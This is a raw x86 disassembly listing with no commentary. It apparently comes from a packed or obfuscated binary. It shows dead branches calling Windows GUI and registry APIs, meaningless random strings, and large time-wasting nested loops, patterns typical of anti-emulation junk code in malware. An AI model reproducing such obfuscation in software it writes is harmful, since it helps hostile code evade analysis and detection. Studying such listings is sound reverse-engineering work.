movzx eax, byte [ebp - 0xb2]
test eax, eax
je 0x10027bd9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
mov byte [ebp - 0xb4], 0
movzx eax, byte [ebp - 0xb4]
test eax, eax
je 0x10027bff
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_UpdateColors]
mov eax, dword [ebp - 0x97c]
mov dword [ebp - 0x858], eax
mov eax, dword [ebp - 0xa1c]
mov dword [ebp - 0x850], eax
push 2
lea ecx, [ebp - 0xafc]
call fcn.10004730
mov dword [ebp - 4], 0x38
mov dword [ebp - 0x3d8], 0xd8d
mov dword [ebp - 0x848], str.rwbiharb_zntsie_ktavkfu_kthfu_rkcbla_nmmoevciq_mjyynbfbg_uyihs_cpjkpmta
cmp dword [ebp - 0x3d8], 0x1017
jle 0x10027d24
and dword [ebp - 0x2c0], 0
jmp 0x10027c65
mov eax, dword [ebp - 0x2c0]
inc eax
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 0x6a10
jge 0x10027d24
and dword [ebp - 0x2c8], 0
jmp 0x10027c8b
mov eax, dword [ebp - 0x2c8]
inc eax
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 0x3deb
jge 0x10027d1f
and dword [ebp - 0x2d0], 0
jmp 0x10027cb1
mov eax, dword [ebp - 0x2d0]
inc eax
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2d0], 0x33b9
jge 0x10027d1a
mov eax, dword [ebp - 0x2c0]
or eax, dword [ebp - 0x2c8]
or eax, dword [ebp - 0x2d0]
cdq
mov dword [ebp - 0x96c], eax
mov dword [ebp - 0x968], edx
push dword [ebp - 0x968]
push dword [ebp - 0x96c]
lea ecx, [ebp - 0xd38]
call fcn.10001a75
pop ecx
pop ecx
mov dword [ebp - 0x840], eax
mov ecx, dword [ebp - 0x840]
call fcn.1000446f
push eax
call fcn.10048743
pop ecx
lea ecx, [ebp - 0xd38]
call fcn.10004465
jmp 0x10027ca4
jmp 0x10027c7e
jmp 0x10027c58
mov byte [ebp - 4], 0x39
cmp dword [ebp - 0x3d8], 0xa60
jge 0x10027d40
push dword [ebp - 0x848]
call fcn.10048743
pop ecx
jmp 0x10027d5c
mov dword [ebp - 4], 0x38
jmp 0x10027d6c
mov dword [ebp - 0x40], 0
jmp 0x10027d7c
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 2
jge 0x10027d95
push dword [ebp - 0x40]
lea ecx, [ebp - 0xafc]
call fcn.100047a9
and dword [eax], 0
jmp 0x10027d75
mov dword [ebp - 0x40], 0
jmp 0x10027da5
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 4
jge 0x10027dbb
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0xaac], 0x9bdba76a
jmp 0x10027d9e
mov dword [ebp - 0x40], 0
jmp 0x10027dcb
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 3
jge 0x10027de1
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0xd68], 0x94b2ab76
jmp 0x10027dc4
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0xaac], 0
jmp 0x10027e0f
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0xaac]
inc eax
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0xaac], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0xaac], 1
jg 0x10027ee9
mov dword [ebp - 0x2d8], 0xffffffff
mov dword [ebp - 0x2d8], 1
jmp 0x10027e46
mov eax, dword [ebp - 0x2d8]
dec eax
mov dword [ebp - 0x2d8], eax
cmp dword [ebp - 0x2d8], 0
jl 0x10027ec5
mov dword [ebp - 0x2e0], 0x2fb5a5ef
mov byte [ebp - 0xd2], 0
movzx eax, byte [ebp - 0xd2]
test eax, eax
je 0x10027e80
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_CreateDialogParamA]
mov dword [ebp - 0x2e0], 0
jmp 0x10027e99
mov eax, dword [ebp - 0x2e0]
inc eax
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 1
jg 0x10027ec0
mov byte [ebp - 0xb6], 0
movzx eax, byte [ebp - 0xb6]
test eax, eax
je 0x10027ebe
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegUnLoadKeyW]
jmp 0x10027e8c
jmp 0x10027e39
push 4
pop eax
imul eax, eax, 3
push dword [ebp + eax - 0xaac]
lea ecx, [ebp - 0xafc]
call fcn.100047a9
cmp dword [eax], 0
je 0x10027ee4
jmp 0x10027ee9
jmp 0x10027df4
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xafc]
call fcn.1000478d
push dword [ebp - 0x850]
push dword [ebp - 0x858]
call dword [0x100df394]
mov dword [ebp - 0x888], eax
mov dword [ebp - 0x420], 0
mov dword [ebp - 0x880], 0xffffffff
mov dword [ebp - 0x868], 0
mov dword [ebp - 0x408], 0
mov dword [ebp - 0x388], 0x65925ef2
mov dword [ebp - 0xc24], 0
mov dword [ebp - 0x3e0], 0x19e
mov dword [ebp - 0x860], str.vahkr_ycxeuqo_pnuyjsor_rkkcnlqkn_ftmjfqls_kgorfmxp
cmp dword [ebp - 0x3e0], 0x4c3
jle 0x1002804a
and dword [ebp - 0x2e8], 0
jmp 0x10027f86
mov eax, dword [ebp - 0x2e8]
inc eax
mov dword [ebp - 0x2e8], eax
cmp dword [ebp - 0x2e8], 0x4d8c
jge 0x1002804a
and dword [ebp - 0x2f0], 0
jmp 0x10027fac
mov eax, dword [ebp - 0x2f0]
inc eax
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x2f0], 0x5061
jge 0x10028045
and dword [ebp - 0x2f8], 0
jmp 0x10027fd2
mov eax, dword [ebp - 0x2f8]
inc eax
mov dword [ebp - 0x2f8], eax
cmp dword [ebp - 0x2f8], 0x3195
jge 0x10028040
and dword [ebp - 0x300], 0
jmp 0x10027ff4
mov eax, dword [ebp - 0x300]
inc eax
mov dword [ebp - 0x300], eax
cmp dword [ebp - 0x300], 0x190c
jge 0x1002803e
mov eax, dword [ebp - 0x2e8]
imul eax, dword [ebp - 0x2f0]
sub eax, dword [ebp - 0x2f8]
sub eax, dword [ebp - 0x300]
cdq
mov dword [ebp - 0x978], eax
mov dword [ebp - 0x974], edx
push dword [ebp - 0x974]
push dword [ebp - 0x978]
mov ecx, 0x1007bf18
call fcn.1000448f
jmp 0x10027fe7
jmp 0x10027fc5
jmp 0x10027f9f
jmp 0x10027f79
mov dword [ebp - 0xc2c], 0
mov dword [ebp - 4], 0x3b
cmp dword [ebp - 0x3e0], 0x135
jge 0x10028077
mov edx, dword [ebp - 0x860]
mov ecx, 0x1007bf18
call fcn.10006900
jmp 0x10028093
or dword [ebp - 4], 0xffffffff
jmp 0x1002809d
mov dword [ebp - 0x878], 0xd9ae65c3
mov dword [ebp - 0x308], 0xfffffffa
push 2
lea ecx, [ebp - 0xbf8]
call fcn.10004730
mov dword [ebp - 4], 0x3d
mov dword [ebp - 0xc34], 0x5d
mov dword [ebp - 0x30], 0
jmp 0x100280df
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 2
jge 0x100280f5
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xbac], 0x4d1878ab
jmp 0x100280d8
mov dword [ebp - 0x30], 0
jmp 0x10028105
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 2
jge 0x10028121
push dword [ebp - 0x30]
lea ecx, [ebp - 0xbf8]
call fcn.100047a9
mov dword [eax], 0xbbbfefa2
jmp 0x100280fe
mov dword [ebp - 0x30], 0
jmp 0x10028131
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 4
jge 0x10028147
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xc5c], 0x74cb070f
jmp 0x1002812a
cmp dword [ebp - 0x388], 1
jl 0x1002815c
mov dword [ebp - 0x3e8], 1
jmp 0x10028163
and dword [ebp - 0x3e8], 0
mov eax, dword [ebp - 0x3e8]
mov dword [ebp - 0x388], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x388]
add ecx, dword [ebp + eax - 0xbac]
cmp ecx, 0xb111
jge 0x10028196
mov dword [ebp - 0x3f0], 1
jmp 0x1002819d
and dword [ebp - 0x3f0], 0
cmp dword [ebp - 0x3f0], 0x2d225d8b
jge 0x100281b5
mov dword [ebp - 0x3f8], 1
jmp 0x100281bc
and dword [ebp - 0x3f8], 0
mov eax, dword [ebp - 0x868]
cmp dword [ebp - 0x3f8], eax
je 0x100281d6
mov dword [ebp - 0x400], 1
jmp 0x100281dd
and dword [ebp - 0x400], 0
mov eax, dword [ebp - 0x408]
cmp dword [ebp - 0x400], eax
je 0x100281fd
mov eax, 0x4c9
test eax, eax
jne 0x100281fd
and dword [ebp - 0x870], 0
jmp 0x10028207
mov dword [ebp - 0x870], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc5c]
mov dword [ebp - 0xc64], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc5c]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xc5c], eax
mov eax, dword [ebp - 0x308]
mov dword [ebp - 0xc6c], eax
mov eax, dword [ebp - 0x878]
mov dword [ebp - 0xc74], eax
mov eax, dword [ebp - 0x308]
dec eax
mov dword [ebp - 0x308], eax
mov eax, dword [ebp - 0x308]
cmp eax, dword [ebp - 0x420]
je 0x10028274
mov dword [ebp - 0x410], 1
jmp 0x1002827b
and dword [ebp - 0x410], 0
mov eax, dword [ebp - 0x408]
cmp dword [ebp - 0x410], eax
je 0x10028295
mov dword [ebp - 0x418], 1
jmp 0x1002829c
and dword [ebp - 0x418], 0
cmp dword [ebp - 0x418], 0x10b
jge 0x100282bd
cmp dword [ebp - 0x420], 0
je 0x100282bd
mov dword [ebp - 0x428], 1
jmp 0x100282c4
and dword [ebp - 0x428], 0
mov eax, dword [ebp - 0x428]
mov dword [ebp - 0x880], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xbf8]
call fcn.1000478d
mov eax, dword [ebp - 0x888]
jmp 0x10028461
mov dword [ebp - 0xb0], 0x2e91a049
mov dword [ebp - 0x430], 0xfffffff9
mov dword [ebp - 0x898], 1
mov byte [ebp - 0xb8], 0
movzx eax, byte [ebp - 0xb8]
test eax, eax
je 0x1002833a
push 0
push 0x2634
push 0x8d4
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetPixel]
mov dword [ebp - 0xb0], 0
jmp 0x10028353
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0x14
je 0x1002845f
mov dword [ebp - 0x160], 0xc88eb987
mov dword [ebp - 0x448], 0x9f23e525
mov dword [ebp - 0x890], 0xfffffffd
mov eax, dword [ebp - 0x160]
sub eax, dword [ebp - 0xb0]
mov dword [ebp - 0x430], eax
mov eax, dword [ebp - 0x430]
cmp eax, dword [ebp - 0xb0]
jle 0x100283aa
mov dword [ebp - 0x450], 1
jmp 0x100283b1
and dword [ebp - 0x450], 0
cmp dword [ebp - 0x160], 3
jbe 0x100283c6
mov dword [ebp - 0x438], 1
jmp 0x100283cd
and dword [ebp - 0x438], 0
mov eax, dword [ebp - 0x160]
cmp dword [ebp - 0x438], eax
jg 0x100283e7
mov dword [ebp - 0x440], 1
jmp 0x100283ee
and dword [ebp - 0x440], 0
mov eax, dword [ebp - 0x440]
mov dword [ebp - 0x448], eax
mov eax, dword [ebp - 0x448]
cmp dword [ebp - 0x450], eax
jle 0x10028414
mov dword [ebp - 0x458], 1
jmp 0x1002841b
and dword [ebp - 0x458], 0
mov eax, dword [ebp - 0x458]
sub eax, dword [ebp - 0x160]
add eax, dword [ebp - 0x890]
add eax, dword [ebp - 0x160]
cmp eax, dword [ebp - 0xb0]
jg 0x10028447
mov dword [ebp - 0x460], 1
jmp 0x1002844e
and dword [ebp - 0x460], 0
mov eax, dword [ebp - 0x460]
mov dword [ebp - 0x898], eax
jmp 0x10028346
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret